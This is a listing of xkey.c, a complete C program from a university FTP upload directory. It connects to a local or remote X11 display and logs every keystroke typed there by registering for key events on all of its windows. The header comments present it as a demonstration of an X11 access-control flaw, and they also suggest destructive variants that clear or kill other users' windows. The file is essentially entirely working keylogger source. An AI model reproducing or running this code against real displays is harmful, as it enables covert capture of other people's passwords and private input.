home *** CD-ROM | disk | FTP | other *** search
/ yustecvs.biology.columbia.edu / yustecvs.biology.columbia.edu.tar / yustecvs.biology.columbia.edu / UPLOAD-HERE / xkey.c < prev   
C/C++ Source or Header  |  2010-03-11  |  3KB  |  132 lines

  1. /* To compile, run it through your favorite ansi compiler something like
  2.  * this :
  3.  *
  4.  *    gcc -o xkey xkey.c -lX11 -lm
  5.  *
  6.  * To run it, just use it like this :  xkey displayname:0
  7.  * and watch as that display's keypresses show up in your shell window.
  8.  *
  9.  *    Dominic Giampaolo (nick@cs.maxine.wpi.edu)
  10.  */
  11. #include <stdio.h>
  12. #include "/usr/X11R6/include/X11/X.h"
  13. #include "/usr/X11R6/include/X11/Xlib.h"
  14. #include "/usr/X11R6/include/X11/Intrinsic.h"
  15. #include "/usr/X11R6/include/X11/StringDefs.h"
  16. #include "/usr/X11R6/include/X11/Xutil.h"
  17. #include "/usr/X11R6/include/X11/Shell.h"
  18.  
  19. char *TranslateKeyCode(XEvent *ev);
  20.  
  21.  
  22. Display *d;
  23.  
  24. void snoop_all_windows(Window root, unsigned long type)
  25. {
  26.   static int level = 0;
  27.   Window parent, *children, *child2;
  28.   unsigned int nchildren;
  29.   int stat, i,j,k;
  30.  
  31.   level++;
  32.  
  33.   stat = XQueryTree(d, root, &root, &parent, &children, &nchildren);
  34.   if (stat == FALSE)
  35.    {
  36.      fprintf(stderr, "Can't query window tree...\n");
  37.      return;
  38.    }
  39.  
  40.   if (nchildren == 0)
  41.     return;
  42.  
  43.   /* For a more drastic inidication of the problem being exploited
  44.    * here, you can change these calls to XSelectInput() to something
  45.    * like XClearWindow(d, children[i]) or if you want to be real
  46.    * nasty, do XKillWindow(d, children[i]).  Of course if you do that,
  47.    * then you'll want to remove the loop in main().
  48.    *
  49.    * The whole point of this exercise being that I shouldn't be
  50.    * allowed to manipulate resources which do not belong to me.
  51.    */
  52.   XSelectInput(d, root, type);
  53.  
  54.   for(i=0; i < nchildren; i++)
  55.    {
  56.      XSelectInput(d, children[i], type);
  57.      snoop_all_windows(children[i], type);
  58.    }
  59.  
  60.   XFree((char *)children);
  61. }
  62.  
  63.  
  64. void main(int argc, char **argv)
  65. {
  66.   char *hostname;
  67.   char *string;
  68.   XEvent xev;
  69.   int count = 0;
  70.  
  71.   if (argv[1] == NULL)
  72.     hostname = ":0";
  73.   else
  74.     hostname = argv[1];
  75.  
  76.   d = XOpenDisplay(hostname);
  77.   if (d == NULL)
  78.    {
  79.      fprintf(stderr, "Blah, can't open display: %s\n", hostname);
  80.      exit(10);
  81.    }
  82.  
  83.   snoop_all_windows(DefaultRootWindow(d), KeyPressMask);
  84.  
  85.   while(1)
  86.    {
  87.      XNextEvent(d, &xev);
  88.  
  89.      string = TranslateKeyCode(&xev);
  90.      if (string == NULL)
  91.        continue;
  92.  
  93.      if (*string == '\r')
  94.        printf("\n");
  95.      else if (strlen(string) == 1)
  96.        printf("%s", string);
  97.      else
  98.        printf("<<%s>>", string);
  99.      fflush(stdout);
  100.    }
  101. }
  102.  
  103.  
  104. #define KEY_BUFF_SIZE 256
  105. static char key_buff[KEY_BUFF_SIZE];
  106.  
  107. char *TranslateKeyCode(XEvent *ev)
  108. {
  109.   int count;
  110.   char *tmp;
  111.   KeySym ks;
  112.  
  113.   if (ev)
  114.    {
  115.      count = XLookupString((XKeyEvent *)ev, key_buff, KEY_BUFF_SIZE, &ks,NULL);
  116.      key_buff[count] = '\0';
  117.  
  118.      if (count == 0)
  119.       {
  120.         tmp = XKeysymToString(ks);
  121.         if (tmp)
  122.           strcpy(key_buff, tmp);
  123.         else
  124.           strcpy(key_buff, "");
  125.       }
  126.  
  127.      return key_buff;
  128.    }
  129.   else
  130.     return NULL;
  131. }
  132.